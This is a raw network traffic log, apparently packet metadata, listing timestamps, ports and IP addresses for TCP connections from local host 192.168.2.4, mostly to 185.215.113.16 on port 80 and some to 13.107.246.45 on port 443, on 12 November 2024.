Nov 12, 2024 21:22:08.966515064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966525078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966526985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966538906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966547012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966551065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966569901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966578960 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966579914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966592073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966599941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966603994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966614962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966625929 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966628075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966638088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966650009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966660023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966661930 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966672897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966681004 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966685057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966696978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966697931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966711044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966730118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966753006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967454910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967467070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967478037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967509985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967524052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967607975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967619896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967628956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967638969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967648983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967663050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967667103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967679024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967689037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967694044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967701912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967713118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967717886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967725039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967736006 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967741013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967747927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967758894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967766047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967771053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967782021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967792034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967792988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967807055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967823982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967833996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967844009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967855930 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967864990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967871904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967876911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967890024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967900991 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967901945 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967914104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967931986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967951059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.967966080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967977047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967988014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.967997074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968007088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968017101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968024015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968028069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968039036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968048096 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968050003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968060970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968066931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968072891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968100071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968120098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968135118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968146086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968156099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968166113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968175888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968187094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968190908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968198061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968210936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968213081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968225002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968234062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968238115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968245983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968255997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968259096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968277931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968282938 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968288898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968301058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968312025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968312979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968322992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968333960 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968355894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968373060 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968399048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968410969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968420029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968430996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968440056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968451023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968455076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968461990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968472004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968483925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968486071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968498945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968508005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968527079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968549013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968635082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968734026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968763113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968780041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968790054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968800068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968810081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968813896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968821049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968832970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968835115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968842983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968853951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968864918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.968866110 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968884945 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.968908072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969005108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969017029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969027996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969038010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969052076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969060898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969073057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969093084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969176054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969187975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969197989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969208956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969218969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969229937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.969233036 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969270945 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.969283104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.999861002 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.999913931 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.000029087 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.000216961 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.000228882 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.000240088 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.000246048 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.003025055 CET	49803	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.003051043 CET	443	49803	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.003247976 CET	49803	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.003426075 CET	49803	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.003437996 CET	443	49803	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.004463911 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.004667997 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.004724979 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.004837990 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.004853964 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.004863024 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.004868984 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.006707907 CET	49804	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.006748915 CET	443	49804	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.006829023 CET	49804	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.006937027 CET	49804	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.006947041 CET	443	49804	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.071017027 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.071183920 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.071244001 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.071322918 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.071322918 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.071336031 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.071345091 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.074120998 CET	49805	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.074165106 CET	443	49805	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.074430943 CET	49805	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.074548006 CET	49805	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.074563980 CET	443	49805	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.077094078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077115059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077126980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077148914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077161074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077178955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077199936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077212095 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077223063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077234983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077245951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077244997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077259064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077274084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077301979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077620029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077663898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077667952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077680111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077708960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077711105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077722073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077733040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077747107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077756882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.077756882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077776909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077786922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.077825069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.112952948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.112963915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.112977028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113046885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113094091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113102913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113116980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113128901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113142967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113151073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113158941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113162994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113176107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113195896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113204956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113235950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113234997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113251925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113262892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113274097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113284111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113287926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113291025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113316059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113325119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113328934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113342047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113368034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113385916 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113543034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113555908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113567114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113610029 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113711119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113732100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113743067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113754988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113779068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113801956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113858938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113869905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113879919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113902092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113914967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113915920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113926888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113935947 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113940001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113955975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113965988 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113967896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113981009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.113992929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.113997936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114006042 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114016056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114027977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114041090 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114042997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114056110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114065886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114068031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114078045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114078999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114111900 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114157915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114168882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114178896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114190102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114201069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114204884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114223957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114233017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114289045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114300966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114310026 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114320040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114331961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114341974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114346981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114353895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114366055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114377022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114383936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114394903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114407063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114417076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114417076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114428043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114439011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114439964 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114451885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114459038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114469051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114480972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114483118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114500046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114511013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114511967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114523888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114537001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114548922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114561081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114587069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114619970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114629984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114639997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114650011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114660978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114667892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114670992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114681959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114692926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114698887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114702940 CET	80	49798	185.215.113.16	192.168.2.4
